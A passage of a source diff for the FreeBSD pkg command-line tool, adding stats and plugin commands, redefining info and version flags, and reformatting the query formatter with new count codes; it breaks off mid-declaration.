void usage_shlib(void);
char *sanitize(char *, const char *, size_t);

+
/* pkg stats */
+
#define STATS_LOCAL (1<<0)
+
#define STATS_REMOTE (1<<1)
+

+
int exec_stats(int, char **);
+
void usage_stats(void);
+

/* pkg update */
int exec_update(int, char **);
void usage_update(void);
-
int pkgcli_update(void);
+
int pkgcli_update(bool);

/* pkg updating */
int exec_updating(int, char **);
@@ -121,15 +132,17 @@ int exec_shell(int, char **);
void usage_shell(void);

/* pkg version */
-
#define VERSION_INDEX (1<<0)
-
#define VERSION_ORIGIN (1<<1)
-
#define VERSION_QUIET (1<<2)
-
#define VERSION_VERBOSE (1<<3)
-
#define VERSION_STATUS (1<<4)
-
#define VERSION_NOSTATUS (1<<5)
-
#define VERSION_WITHORIGIN (1<<7)
-
#define VERSION_TESTVERSION (1<<8)
-
#define VERSION_TESTPATTERN (1<<9)
+
#define VERSION_SOURCE_INDEX	(1<<0)
+
#define VERSION_ORIGIN		(1<<1)
+
#define VERSION_QUIET		(1<<2)
+
#define VERSION_VERBOSE		(1<<3)
+
#define VERSION_STATUS		(1<<4)
+
#define VERSION_NOSTATUS	(1<<5)
+
#define VERSION_WITHORIGIN	(1<<7)
+
#define VERSION_TESTVERSION	(1<<8)
+
#define VERSION_TESTPATTERN	(1<<9)
+
#define VERSION_SOURCE_PORTS	(1<<10)
+
#define VERSION_SOURCE_REMOTE	(1<<11)

int exec_version(int, char **);
void usage_version(void);
@@ -139,24 +152,64 @@ int exec_which(int, char **);
void usage_which(void);

/* utils */
-
#define INFO_PRINT_DEP (1<<0)
-
#define INFO_PRINT_RDEP (1<<1)
-
#define INFO_EXISTS (1<<2)
-
#define INFO_LIST_FILES (1<<3)
-
#define INFO_SIZE (1<<4)
-
#define INFO_QUIET (1<<5)
-
#define INFO_ORIGIN (1<<6)
-
#define INFO_ORIGIN_SEARCH (1<<7)
-
#define INFO_PREFIX (1<<8)
-
#define INFO_FULL (1<<9)
-
#define INFO_RAW (1<<10)
-
#define INFO_LIST_SHLIBS (1<<11)
-
#define INFO_PRINT_MESSAGE (1<<12)
+

+
/* These are the fields of the Full output, in order */
+
#define INFO_NAME	(1<<0)
+
#define INFO_VERSION	(1<<1)
+
#define INFO_ORIGIN	(1<<2)
+
#define INFO_PREFIX	(1<<3)
+
#define INFO_REPOSITORY	(1<<4)
+
#define INFO_CATEGORIES	(1<<5)
+
#define INFO_LICENSES	(1<<6)
+
#define INFO_MAINTAINER	(1<<7)
+
#define INFO_WWW	(1<<8)
+
#define INFO_COMMENT	(1<<9)
+
#define INFO_OPTIONS	(1<<10)
+
#define INFO_SHLIBS	(1<<11)
+
#define INFO_FLATSIZE	(1<<12)
+
#define INFO_PKGSIZE	(1<<13)
+
#define INFO_DESCR	(1<<14)
+

+
/* Other fields not part of the Full output */
+
#define INFO_MESSAGE	(1<<15)
+
#define INFO_DEPS	(1<<16)
+
#define INFO_RDEPS	(1<<17)
+
#define INFO_FILES	(1<<18)
+
#define INFO_DIRS	(1<<19)
+
#define INFO_USERS	(1<<20)
+
#define INFO_GROUPS	(1<<21)
+
#define INFO_ARCH	(1<<22)
+
#define INFO_REPOURL	(1<<23)
+

+
#define INFO_LASTFIELD	INFO_REPOURL
+
#define INFO_ALL	(((INFO_LASTFIELD) << 1) - 1)
+

+
/* Identifying tags */
+
#define INFO_TAG_NAME		(1<<28)
+
#define INFO_TAG_ORIGIN		(1<<29)
+
#define INFO_TAG_NAMEVER	(1<<30)
+

+
/* Output YAML format */
+
#define INFO_RAW	(1<<31)
+

+
/* Everything in the 'full' package output */
+
#define INFO_FULL	(INFO_NAME|INFO_VERSION|INFO_ORIGIN|INFO_PREFIX| \
+
			 INFO_REPOSITORY|INFO_CATEGORIES|INFO_LICENSES|  \
+
			 INFO_MAINTAINER|INFO_WWW|INFO_COMMENT|          \
+
			 INFO_OPTIONS|INFO_SHLIBS|INFO_FLATSIZE|         \
+
			 INFO_PKGSIZE|INFO_DESCR)
+

+
/* Everything that can take more than one line to print */
+
#define INFO_MULTILINE	(INFO_OPTIONS|INFO_SHLIBS|INFO_DESCR|INFO_MESSAGE| \
+
			 INFO_DEPS|INFO_RDEPS|INFO_FILES|INFO_DIRS)

bool query_yesno(const char *msg, ...);
+
int info_flags(unsigned int opt);
void print_info(struct pkg * const pkg, unsigned int opt);
char *absolutepath(const char *src, char *dest, size_t dest_len);
-
void print_jobs_summary(struct pkg_jobs *j, pkg_jobs_t type, const char *msg, ...);
+
void print_jobs_summary(struct pkg_jobs *j, pkg_jobs_t type,
+
			const char *msg, ...);
+
struct sbuf *exec_buf(const char *cmd);

int event_callback(void *data, struct pkg_event *ev);

@@ -171,20 +224,11 @@ struct query_flags {
	const int dbflags;
};

-
typedef enum {
-
	NONE,
-
	NEXT_IS_INT,
-
	OPERATOR_INT,
-
	INT,
-
	NEXT_IS_STRING,
-
	OPERATOR_STRING,
-
	STRING,
-
	QUOTEDSTRING,
-
	SQUOTEDSTRING
-
} type_t;
-

void print_query(struct pkg *pkg, char *qstr, char multiline);
-
int format_sql_condition(const char *str, struct sbuf *sqlcond);
-
int analyse_query_string(char *qstr, struct query_flags *q_flags, const unsigned int q_flags_len, int *flags, char *multiline);
+
int format_sql_condition(const char *str, struct sbuf *sqlcond,
+
			 bool for_remote);
+
int analyse_query_string(char *qstr, struct query_flags *q_flags,
+
			 const unsigned int q_flags_len, int *flags,
+
			 char *multiline);

#endif
added pkg/plugins.c
@@ -0,0 +1,94 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <stdio.h>
+
#include <stdbool.h>
+
#include <sysexits.h>
+
#include <unistd.h>
+

+
#include <pkg.h>
+

+
#include "pkgcli.h"
+

+
void
+
usage_plugins(void)
+
{
+
        fprintf(stderr, "usage: pkg plugins [-l] [-edc] <plugin>\n\n");
+
        fprintf(stderr, "For more information see 'pkg help plugins'.\n");
+
}
+

+
int
+
exec_plugins(int argc, char **argv)
+
{
+
	struct pkg_plugins *p = NULL;
+
	const char *plugin_name = NULL;
+
	int ch;
+
	bool list_only = true;
+

+
	while ((ch = getopt(argc, argv, "edlc:")) != -1) {
+
                switch (ch) {
+
		case 'e':
+
			fprintf(stderr, "Enabling of plugins is currently not implemented");
+
			return (EX_OK);
+
			/* NOT REACHED */
+
			break;
+
		case 'd':
+
			fprintf(stderr, "Disabling of plugins is currently not implemented");
+
			return (EX_OK);
+
			/* NOT REACHED */
+
			break;
+
		case 'c':
+
			plugin_name = optarg;
+
			fprintf(stderr, "Configuring plugins is currently not implemented");
+
			return (EX_OK);
+
			/* NOT REACHED */
+
			break;
+
		case 'l':
+
			list_only = true;
+
			break;
+
                default:
+
                        usage_plugins();
+
                        return (EX_USAGE);
+
                }
+
        }
+
        argc -= optind;
+
        argv += optind;
+

+
	/**
+
	 * For now only display the available plugins
+
	 * @todo: implement enabling, disabling and configuring of plugins
+
	 */
+

+
	printf("%-10s %-35s %-10s %-10s\n", "NAME", "DESC", "VERSION", "LOADED");
+
	while (pkg_plugins_list(&p) != EPKG_END)
+
		printf("%-10s %-35s %-10s %-10s\n",
+
		       pkg_plugins_get(p, PKG_PLUGINS_NAME),
+
		       pkg_plugins_get(p, PKG_PLUGINS_DESC),
+
		       pkg_plugins_get(p, PKG_PLUGINS_VERSION),
+
		       ( pkg_plugins_is_loaded(p) ? "YES" : "NO" ));
+

+
	return (EX_OK);
+
}
modified pkg/progressmeter.c
@@ -138,11 +138,11 @@ refresh_progress_meter(void)
	bytes_left = end_pos - cur_pos;

	delta_pos = cur_pos - last_pos;
-
	if (delta_pos > max_delta_pos) 
+
	if (delta_pos > max_delta_pos)
		max_delta_pos = delta_pos;

	if (bytes_left > 0)
-
		elapsed = now - last_update;
+
		elapsed = (now > last_update) ? now - last_update : 0;
	else {
		elapsed = now - start;
		/* Calculate true total speed when done */
modified pkg/query.c
@@ -1,8 +1,9 @@
/*
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
 * All rights reserved.
-
 * 
+
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
@@ -12,7 +13,7 @@
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
-
 * 
+
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
@@ -44,8 +45,7 @@ static struct query_flags accepted_query_flags[] = {
	{ 'd', "nov",		1, PKG_LOAD_DEPS },
	{ 'r', "nov",		1, PKG_LOAD_RDEPS },
	{ 'C', "",		1, PKG_LOAD_CATEGORIES },
-
	{ 'F', "ps",		1, PKG_LOAD_FILES }, 
-
	{ 'S', "",		1, PKG_LOAD_SCRIPTS },
+
	{ 'F', "ps",		1, PKG_LOAD_FILES },
	{ 'O', "kv",		1, PKG_LOAD_OPTIONS },
	{ 'D', "",		1, PKG_LOAD_DIRS },
	{ 'L', "",		1, PKG_LOAD_LICENSES },
@@ -53,7 +53,8 @@ static struct query_flags accepted_query_flags[] = {
	{ 'G', "",		1, PKG_LOAD_GROUPS },
	{ 'B', "",		1, PKG_LOAD_SHLIBS },
	{ '?', "drCFODLUGB",	1, PKG_LOAD_BASIC },	/* dbflags handled in analyse_query_string() */
-
	{ 's', "hb",		0, PKG_LOAD_BASIC }, 
+
	{ '#', "drCFODLUGB",	1, PKG_LOAD_BASIC },	/* dbflags handled in analyse_query_string() */
+
	{ 's', "hb",		0, PKG_LOAD_BASIC },
	{ 'n', "",		0, PKG_LOAD_BASIC },
	{ 'v', "",		0, PKG_LOAD_BASIC },
	{ 'o', "",		0, PKG_LOAD_BASIC },
@@ -84,204 +85,237 @@ format_str(struct pkg *pkg, struct sbuf *dest, const char *qstr, void *data)
		if (qstr[0] == '%') {
			qstr++;
			switch (qstr[0]) {
-
				case 'n':
-
					pkg_get(pkg, PKG_NAME, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
-
					break;
-
				case 'v':
-
					pkg_get(pkg, PKG_VERSION, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
-
					break;
-
				case 'o':
-
					pkg_get(pkg, PKG_ORIGIN, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
-
					break;
-
				case 'R':
-
					pkg_get(pkg, PKG_REPONAME, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
-
					break;
-
				case 'p':
-
					pkg_get(pkg, PKG_PREFIX, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
			case 'n':
+
				pkg_get(pkg, PKG_NAME, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'v':
+
				pkg_get(pkg, PKG_VERSION, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'o':
+
				pkg_get(pkg, PKG_ORIGIN, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'R':
+
				pkg_get(pkg, PKG_REPONAME, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'p':
+
				pkg_get(pkg, PKG_PREFIX, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'm':
+
				pkg_get(pkg, PKG_MAINTAINER, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'c':
+
				pkg_get(pkg, PKG_COMMENT, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'w':
+
				pkg_get(pkg, PKG_WWW, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'i':
+
				pkg_get(pkg, PKG_INFOS, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case 'a':
+
				pkg_get(pkg, PKG_AUTOMATIC, &automatic);
+
				sbuf_printf(dest, "%d", automatic);
+
				break;
+
			case 't':
+
				pkg_get(pkg, PKG_TIME, &timestamp);
+
				sbuf_printf(dest, "%" PRId64, timestamp);
+
				break;
+
			case 's':
+
				qstr++;
+
				pkg_get(pkg, PKG_FLATSIZE, &flatsize);
+
				if (qstr[0] == 'h') {
+
					humanize_number(size, sizeof(size),
+
					    flatsize, "B", HN_AUTOSCALE, 0);
+
					sbuf_cat(dest, size);
+
				} else if (qstr[0] == 'b') {
+
					sbuf_printf(dest, "%" PRId64, flatsize);
+
				}
+
				break;
+
			case '?':
+
				qstr++;
+
				switch (qstr[0]) {
+
				case 'd':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_DEPS) > 0);
					break;
-
				case 'm':
-
					pkg_get(pkg, PKG_MAINTAINER, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
				case 'r':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_RDEPS) > 0);
					break;
-
				case 'c':
-
					pkg_get(pkg, PKG_COMMENT, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
				case 'C':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_CATEGORIES) > 0);
					break;
-
				case 'w':
-
					pkg_get(pkg, PKG_WWW, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
				case 'F':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_FILES) > 0);
					break;
-
				case 'i':
-
					pkg_get(pkg, PKG_INFOS, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
				case 'O':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_OPTIONS) > 0);
					break;
-
				case 'a':
-
					pkg_get(pkg, PKG_AUTOMATIC, &automatic);
-
					sbuf_printf(dest, "%d", automatic);
+
				case 'D':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_DIRS) > 0);
					break;
-
				case 't':
-
					pkg_get(pkg, PKG_TIME, &timestamp);
-
					sbuf_printf(dest, "%" PRId64, timestamp);
+
				case 'L':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_LICENSES) > 0);
					break;
-
				case 's':
-
					qstr++;
-
					pkg_get(pkg, PKG_FLATSIZE, &flatsize);
-
					if (qstr[0] == 'h') {
-
						humanize_number(size, sizeof(size), flatsize, "B", HN_AUTOSCALE, 0);
-
						sbuf_cat(dest, size);
-
					} else if (qstr[0] == 'b') {
-
						sbuf_printf(dest, "%" PRId64, flatsize);
-
					}
+
				case 'U':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_USERS) > 0);
					break;
-
				case '?':
-
					qstr++;
-
					switch (qstr[0]) {
-
						case 'd':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_DEPS));
-
							break;
-
						case 'r':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_RDEPS));
-
							break;
-
						case 'C':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_CATEGORIES));
-
							break;
-
						case 'F':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_FILES));
-
							break;
-
						case 'O':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_OPTIONS));
-
							break;
-
						case 'D':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_DIRS));
-
							break;
-
						case 'L':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_LICENSES));
-
							break;
-
						case 'U':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_USERS));
-
							break;
-
						case 'G':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_GROUPS));
-
							break;
-
						case 'B':
-
							sbuf_printf(dest, "%d", !pkg_list_is_empty(pkg, PKG_SHLIBS));
-
							break;
-
					}
+
				case 'G':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_GROUPS) > 0);
					break;
-
				case 'l':
-
					pkg_get(pkg, PKG_LICENSE_LOGIC, &licenselogic);
-
					switch (licenselogic) {
-
						case LICENSE_SINGLE:
-
							sbuf_cat(dest, "single");
-
							break;
-
						case LICENSE_OR:
-
							sbuf_cat(dest, "or");
-
							break;
-
						case LICENSE_AND:
-
							sbuf_cat(dest, "and");
-
							break;
-
					}
+
				case 'B':
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_SHLIBS) > 0);
					break;
+
				}
+
				break;
+
			case '#':
+
				qstr++;
+
				switch (qstr[0]) {
				case 'd':
-
					qstr++;
-
					if (qstr[0] == 'n')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_NAME));
-
					else if (qstr[0] == 'o')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_ORIGIN));
-
					else if (qstr[0] == 'v')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_VERSION));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_DEPS));
					break;
				case 'r':
-
					qstr++;
-
					if (qstr[0] == 'n')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_NAME));
-
					else if (qstr[0] == 'o')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_ORIGIN));
-
					else if (qstr[0] == 'v')
-
						sbuf_cat(dest, pkg_dep_get((struct pkg_dep *)data, PKG_DEP_VERSION));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_RDEPS));
					break;
				case 'C':
-
					sbuf_cat(dest, pkg_category_name((struct pkg_category *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_CATEGORIES));
					break;
				case 'F':
-
					qstr++;
-
					if (qstr[0] == 'p')
-
						sbuf_cat(dest, pkg_file_get((struct pkg_file *)data, PKG_FILE_PATH));
-
					else if (qstr[0] == 's')
-
						sbuf_cat(dest, pkg_file_get((struct pkg_file *)data, PKG_FILE_SUM));
-
					break;
-
				case 'S':
-
					sbuf_cat(dest, pkg_script_data((struct pkg_script *)data));	
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_FILES));
					break;
				case 'O':
-
					qstr++;
-
					if (qstr[0] == 'k')
-
						sbuf_cat(dest, pkg_option_opt((struct pkg_option *)data));
-
					else if (qstr[0] == 'v')
-
						sbuf_cat(dest, pkg_option_value((struct pkg_option *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_OPTIONS));
					break;
				case 'D':
-
					sbuf_cat(dest, pkg_dir_path((struct pkg_dir *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_DIRS));
					break;
				case 'L':
-
					sbuf_cat(dest, pkg_license_name((struct pkg_license *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_LICENSES));
					break;
				case 'U':
-
					sbuf_cat(dest, pkg_user_name((struct pkg_user *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_USERS));
					break;
				case 'G':
-
					sbuf_cat(dest, pkg_group_name((struct pkg_group *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_GROUPS));
					break;
				case 'B':
-
					sbuf_cat(dest, pkg_shlib_name((struct pkg_shlib *)data));
+
					sbuf_printf(dest, "%d", pkg_list_count(pkg, PKG_SHLIBS));
					break;
-
				case 'M':
-
					pkg_get(pkg, PKG_MESSAGE, &tmp);
-
					if (tmp != NULL)
-
						sbuf_cat(dest, tmp);
+
				}
+
				break;
+
			case 'l':
+
				pkg_get(pkg, PKG_LICENSE_LOGIC, &licenselogic);
+
				switch (licenselogic) {
+
				case LICENSE_SINGLE:
+
					sbuf_cat(dest, "single");
+
					break;
+
				case LICENSE_OR:
+
					sbuf_cat(dest, "or");
					break;
-
				case '%':
-
					sbuf_putc(dest, '%');
+
				case LICENSE_AND:
+
					sbuf_cat(dest, "and");
					break;
+
				}
+
				break;
+
			case 'd':
+
				qstr++;
+
				if (qstr[0] == 'n')
+
					sbuf_cat(dest, pkg_dep_name((struct pkg_dep *)data));
+
				else if (qstr[0] == 'o')
+
					sbuf_cat(dest, pkg_dep_origin((struct pkg_dep *)data));
+
				else if (qstr[0] == 'v')
+
					sbuf_cat(dest, pkg_dep_version((struct pkg_dep *)data));
+
				break;
+
			case 'r':
+
				qstr++;
+
				if (qstr[0] == 'n')
+
					sbuf_cat(dest, pkg_dep_name((struct pkg_dep *)data));
+
				else if (qstr[0] == 'o')
+
					sbuf_cat(dest, pkg_dep_origin((struct pkg_dep *)data));
+
				else if (qstr[0] == 'v')
+
					sbuf_cat(dest, pkg_dep_version((struct pkg_dep *)data));
+
				break;
+
			case 'C':
+
				sbuf_cat(dest, pkg_category_name((struct pkg_category *)data));
+
				break;
+
			case 'F':
+
				qstr++;
+
				if (qstr[0] == 'p')
+
					sbuf_cat(dest, pkg_file_path((struct pkg_file *)data));
+
				else if (qstr[0] == 's')
+
					sbuf_cat(dest, pkg_file_cksum((struct pkg_file *)data));
+
				break;
+
			case 'O':
+
				qstr++;
+
				if (qstr[0] == 'k')
+
					sbuf_cat(dest, pkg_option_opt((struct pkg_option *)data));
+
				else if (qstr[0] == 'v')
+
					sbuf_cat(dest, pkg_option_value((struct pkg_option *)data));
+
				break;
+
			case 'D':
+
				sbuf_cat(dest, pkg_dir_path((struct pkg_dir *)data));
+
				break;
+
			case 'L':
+
				sbuf_cat(dest, pkg_license_name((struct pkg_license *)data));
+
				break;
+
			case 'U':
+
				sbuf_cat(dest, pkg_user_name((struct pkg_user *)data));
+
				break;
+
			case 'G':
+
				sbuf_cat(dest, pkg_group_name((struct pkg_group *)data));
+
				break;
+
			case 'B':
+
				sbuf_cat(dest, pkg_shlib_name((struct pkg_shlib *)data));
+
				break;
+
			case 'M':
+
				pkg_get(pkg, PKG_MESSAGE, &tmp);
+
				if (tmp != NULL)
+
					sbuf_cat(dest, tmp);
+
				break;
+
			case '%':
+
				sbuf_putc(dest, '%');
+
				break;
			}
		} else  if (qstr[0] == '\\') {
			qstr++;
			switch (qstr[0]) {
-
				case 'n':
-
					sbuf_putc(dest, '\n');
-
					break;
-
				case 'a':
-
					sbuf_putc(dest, '\a');
-
					break;
-
				case 'b':
-
					sbuf_putc(dest, '\b');
-
					break;
-
				case 'f':
-
					sbuf_putc(dest, '\f');
-
					break;
-
				case 'r':
-
					sbuf_putc(dest, '\r');
-
					break;
-
				case '\\':
-
					sbuf_putc(dest, '\\');
-
					break;
-
				case 't':
-
					sbuf_putc(dest, '\t');
-
					break;
+
			case 'n':
+
				sbuf_putc(dest, '\n');
+
				break;
+
			case 'a':
+
				sbuf_putc(dest, '\a');
+
				break;
+
			case 'b':
+
				sbuf_putc(dest, '\b');
+
				break;
+
			case 'f':
+
				sbuf_putc(dest, '\f');
+
				break;
+
			case 'r':
+
				sbuf_putc(dest, '\r');
+
				break;
+
			case '\\':
+
				sbuf_putc(dest, '\\');
+
				break;
+
			case 't':
+
				sbuf_putc(dest, '\t');
+
				break;
			}
		} else {
			sbuf_putc(dest, qstr[0]);
@@ -303,185 +337,271 @@ print_query(struct pkg *pkg, char *qstr, char multiline)
	struct pkg_license *lic = NULL;
	struct pkg_user *user = NULL;
	struct pkg_group *group = NULL;
-
	struct pkg_script *scripts = NULL;
	struct pkg_shlib *shlib = NULL;

	switch (multiline) {
-
		case 'd':
-
			while (pkg_deps(pkg, &dep) == EPKG_OK) {
-
				format_str(pkg, output, qstr, dep);
-
				printf("%s\n", sbuf_data(output));
-
				break;
-
		}
-
		case 'r':
-
			while (pkg_rdeps(pkg, &dep) == EPKG_OK) {
-
				format_str(pkg, output, qstr, dep);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'C':
-
			while (pkg_categories(pkg, &cat) == EPKG_OK) {
-
				format_str(pkg, output, qstr, cat);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'O':
-
			while (pkg_options(pkg, &option) == EPKG_OK) {
-
				format_str(pkg, output, qstr, option);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'F':
-
			while (pkg_files(pkg, &file) == EPKG_OK) {
-
				format_str(pkg, output, qstr, file);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'D':
-
			while (pkg_dirs(pkg, &dir) == EPKG_OK) {
-
				format_str(pkg, output, qstr, dir);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'L':
-
			while (pkg_licenses(pkg, &lic) == EPKG_OK) {
-
				format_str(pkg, output, qstr, lic);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'U':
-
			while (pkg_users(pkg, &user) == EPKG_OK) {
-
				format_str(pkg, output, qstr, user);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'G':
-
			while (pkg_users(pkg, &user) == EPKG_OK) {
-
				format_str(pkg, output, qstr, group);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'S':
-
			while (pkg_scripts(pkg, &scripts) == EPKG_OK) {
-
				format_str(pkg, output, qstr, scripts);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		case 'B':
-
			while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
-
				format_str(pkg, output, qstr, shlib);
-
				printf("%s\n", sbuf_data(output));
-
			}
-
			break;
-
		default:
+
	case 'd':
+
		while (pkg_deps(pkg, &dep) == EPKG_OK) {
			format_str(pkg, output, qstr, dep);
			printf("%s\n", sbuf_data(output));
			break;
+
		}
+
	case 'r':
+
		while (pkg_rdeps(pkg, &dep) == EPKG_OK) {
+
			format_str(pkg, output, qstr, dep);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'C':
+
		while (pkg_categories(pkg, &cat) == EPKG_OK) {
+
			format_str(pkg, output, qstr, cat);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'O':
+
		while (pkg_options(pkg, &option) == EPKG_OK) {
+
			format_str(pkg, output, qstr, option);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'F':
+
		while (pkg_files(pkg, &file) == EPKG_OK) {
+
			format_str(pkg, output, qstr, file);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'D':
+
		while (pkg_dirs(pkg, &dir) == EPKG_OK) {
+
			format_str(pkg, output, qstr, dir);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'L':
+
		while (pkg_licenses(pkg, &lic) == EPKG_OK) {
+
			format_str(pkg, output, qstr, lic);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'U':
+
		while (pkg_users(pkg, &user) == EPKG_OK) {
+
			format_str(pkg, output, qstr, user);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'G':
+
		while (pkg_groups(pkg, &group) == EPKG_OK) {
+
			format_str(pkg, output, qstr, group);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	case 'B':
+
		while (pkg_shlibs(pkg, &shlib) == EPKG_OK) {
+
			format_str(pkg, output, qstr, shlib);
+
			printf("%s\n", sbuf_data(output));
+
		}
+
		break;
+
	default:
+
		format_str(pkg, output, qstr, dep);
+
		printf("%s\n", sbuf_data(output));
+
		break;
	}
	sbuf_delete(output);
}

+
typedef enum {
+
	NONE,
+
	NEXT_IS_INT,
+
	OPERATOR_INT,
+
	INT,
+
	NEXT_IS_STRING,
+
	OPERATOR_STRING,
+
	STRING,
+
	QUOTEDSTRING,
+
	SQUOTEDSTRING,
+
